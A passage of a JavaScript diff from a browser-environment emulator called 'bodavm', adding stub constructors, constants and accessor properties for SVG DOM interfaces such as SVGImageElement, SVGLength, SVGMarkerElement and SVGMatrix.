"SVGGradientElement", "spreadMethod_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGImageElement对象 + +bodavm.memory.globalobj['SVGImageElement'] = function SVGImageElement() { + console.log_copy('SVGImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGImageElement'], "SVGImageElement"); +bodavm.memory.globalobj['SVGImageElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGImageElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGImageElement', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decode", arguments); + } +}, 'prototype'); +// SVGLength对象 + +bodavm.memory.globalobj['SVGLength'] = function SVGLength() { + console.log_copy('SVGLength 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLength)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLength'], "SVGLength"); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "unitType", { + configurable: true, + enumerable: true, + get: function unitType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "unitType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "valueInSpecifiedUnits", { + configurable: true, + enumerable: true, + get: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_get", arguments); + }, + set: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "valueAsString", { + configurable: true, + enumerable: true, + get: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_get", arguments); + }, + set: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "convertToSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "convertToSpecifiedUnits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "newValueSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function newValueSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "newValueSpecifiedUnits", arguments); + } +}, 'prototype'); +// SVGLengthList对象 + +bodavm.memory.globalobj['SVGLengthList'] = function SVGLengthList() { + console.log_copy('SVGLengthList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLengthList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLengthList'], "SVGLengthList"); +bodavm.toolsFunc.defineProperty('SVGLengthList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "replaceItem", arguments); + } +}, 'prototype'); +// SVGLinearGradientElement对象 + +bodavm.memory.globalobj['SVGLinearGradientElement'] = function SVGLinearGradientElement() { + console.log_copy('SVGLinearGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLinearGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLinearGradientElement'], "SVGLinearGradientElement"); +bodavm.memory.globalobj['SVGLinearGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGradientElement'].prototype; +bodavm.memory.globalobj['SVGLinearGradientElement'].__proto__ = bodavm.memory.globalobj['SVGGradientElement']; +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x1", { + configurable: true, + enumerable: true, + get: function x1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y1", { + configurable: true, + enumerable: true, + get: function y1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x2", { + configurable: true, + enumerable: true, + get: function x2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y2", { + configurable: true, + enumerable: true, + get: function y2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y2_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGLineElement对象 + +bodavm.memory.globalobj['SVGLineElement'] = function SVGLineElement() { + console.log_copy('SVGLineElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLineElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLineElement'], "SVGLineElement"); +bodavm.memory.globalobj['SVGLineElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGLineElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGLineElement', "x1", { + configurable: true, + enumerable: true, + get: function x1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "y1", { + configurable: true, + enumerable: true, + get: function y1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "x2", { + configurable: true, + enumerable: true, + get: function x2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "y2", { + configurable: true, + enumerable: true, + get: function y2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y2_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGMarkerElement对象 + +bodavm.memory.globalobj['SVGMarkerElement'] = function SVGMarkerElement() { + console.log_copy('SVGMarkerElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMarkerElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMarkerElement'], "SVGMarkerElement"); +bodavm.memory.globalobj['SVGMarkerElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMarkerElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refX", { + configurable: true, + enumerable: true, + get: function refX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refY", { + configurable: true, + enumerable: true, + get: function refY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerUnits", { + configurable: true, + enumerable: true, + get: function markerUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerWidth", { + configurable: true, + enumerable: true, + get: function markerWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerHeight", { + configurable: true, + enumerable: true, + get: function markerHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientType", { + configurable: true, + enumerable: true, + get: function orientType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientAngle", { + configurable: true, + enumerable: true, + get: function orientAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientToAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAuto", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientToAuto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAuto", arguments); + } +}, 'prototype'); +// SVGMaskElement对象 + +bodavm.memory.globalobj['SVGMaskElement'] = function SVGMaskElement() { + console.log_copy('SVGMaskElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMaskElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMaskElement'], "SVGMaskElement"); +bodavm.memory.globalobj['SVGMaskElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMaskElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskUnits", { + configurable: true, + enumerable: true, + get: function maskUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskContentUnits", { + configurable: true, + enumerable: true, + get: function maskContentUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskContentUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGMatrix对象 + +bodavm.memory.globalobj['SVGMatrix'] = function SVGMatrix() { + console.log_copy('SVGMatrix 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMatrix)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMatrix'], "SVGMatrix"); +bodavm.toolsFunc.defineProperty('SVGMatrix', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_get", arguments); + }, + set: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_get", arguments); + }, + set: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_get", arguments); + }, + set: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_get", arguments); + }, + set: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_get", arguments); + }, + set: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_get", arguments); + }, + set: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "flipX", { + configurable: true, + enumerable: true, + writable: true, + value: function flipX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "flipY", { + 